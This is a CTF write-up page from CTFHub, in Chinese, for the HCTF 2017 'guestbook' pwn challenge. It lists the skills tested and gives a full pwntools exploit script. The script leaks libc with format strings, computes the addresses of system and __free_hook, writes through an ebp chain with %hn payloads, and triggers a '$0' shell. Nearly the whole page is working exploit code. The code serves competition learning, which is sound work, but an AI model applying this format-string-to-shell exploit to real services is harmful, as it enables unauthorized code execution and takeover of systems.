

# guestbook

发表于 2021-01-21 分类于 [Challenge](#) , [2017](#) , [HCTF](#) , [Bin](#)  
Challenge | 2017 | HCTF | Bin | guestbook

[点击此处](#)获得更好的阅读体验

---

## WriteUp 来源

<https://xz.aliyun.com/t/1589>

## 题目考点

- 利用ebp chain和fmt来实现任意地址写。
- 对\_free\_hook的了解。
- 对\$0get shell的了解

## 解题思路

```
1 from pwn import *
2
3 context.log_level = 'debug'
4 context.terminal = ['terminator', '-x', 'bash', '-c']
5
6 bin = ELF('./guestbook')
7 libc = ELF('./libc.so')
8
9 def add(name, phone):
10     cn.sendline('1')
11     cn.recvuntil('OK,your guest index is ')
12     idx = int(cn.recvuntil('\n'))
13     cn.recvuntil('?')
14     cn.send(name)
15     cn.recvuntil('?')
16     cn.send(phone)
17     cn.recvuntil('success!\n')
18     return idx
19
20 def see(idx):
21     cn.sendline('2')
22     cn.recvuntil('index:')
23     cn.sendline(str(idx))
24     cn.recvuntil('the name:')
25     name = cn.recvuntil('\n')
26     cn.recvuntil('the phone:')
27     phone = cn.recvuntil('\n')
28     cn.recvuntil('=====')
29     return [name, phone]
30
31 def delete(idx):
32     cn.sendline('3')
33     cn.recvuntil('index:')
34     cn.sendline(str(idx))
35
36 def fmt(payload):
37     idx = add(payload, '1111')
38     see(idx)
39     delete(idx)
40
41 def fmt2(payload):
42     idx = add(payload, '1111')
43     see(idx)
44
45 def z():
46     gdb.attach(cn)
47     raw_input()
48 cn = process('./guestbook')
49
```

```

50 idx = add('%3$x', '0')
51 libc_base = int(see(idx)[0], 16) - 71 - libc.symbols['_IO_2_1_stdout_']
52 free_hook = libc_base + 0x001B38B0
53 system = libc_base + libc.symbols['system']
54 success('libc_base: ' + hex(libc_base))
55 success('free_hook: ' + hex(free_hook))
56 success('system: ' + hex(system))
57
58 idx = add('%72$x', '1')
59 ebp_2 = int(see(idx)[0], 16) # %80$x
60 ebp_1 = ebp_2 - 0x20 # %72$x
61 ebp_3 = ebp_2 + 0x20 # %88$x
62
63 success('ebp_1: ' + hex(ebp_1))
64 success('ebp_2: ' + hex(ebp_2))
65 success('ebp_3: ' + hex(ebp_3))
66
67 pay = '%'+str((ebp_3+8)&0xffff)+'c%80$hn'
68 fmt(pay)
69
70 pay = '%'+str((ebp_3+2)&0xffff)+'c%72$hn'
71 fmt(pay)
72
73 pay = '%'+str(((ebp_3+8)&0xffff0000)>>16)+'c%80$hn'
74 fmt(pay)
75
76 pay = '%'+str((ebp_3)&0xffff)+'c%72$hn'
77 fmt(pay)
78
79 pay = '%'+str(free_hook&0xffff)+'c%88$hn'
80 fmt(pay)
81 #z()
82 pay = '%'+str(system&0xffff)+'c%90$hn'
83 fmt2(pay)
84
85 pay = '%'+str((free_hook&0xffff)+2)+'c%88$hn'
86 fmt2(pay)
87
88 pay = '%'+str((system&0xffff0000)>>16)+'c%90$hn'
89 fmt2(pay)
90
91 idx=add('get shell', '$0\x00')
92 delete(idx)
93
94 cn.interactive()

```

## Flag

1 无

- 本文作者: CTFHub
- 本文链接: <https://writeup.ctfhub.com/Challenge/2017/HCTF/Bin/5GcF5bYhxZGbPvLFqWfdf.html>
- 版权声明: 本博客所有文章除特别声明外, 均采用 [BY-NC-SA](#) 许可协议。转载请注明出处!

[#Challenge #2017 #HCTF #Bin](#)

[ez\\_crackme](#)

[babyprintf](#)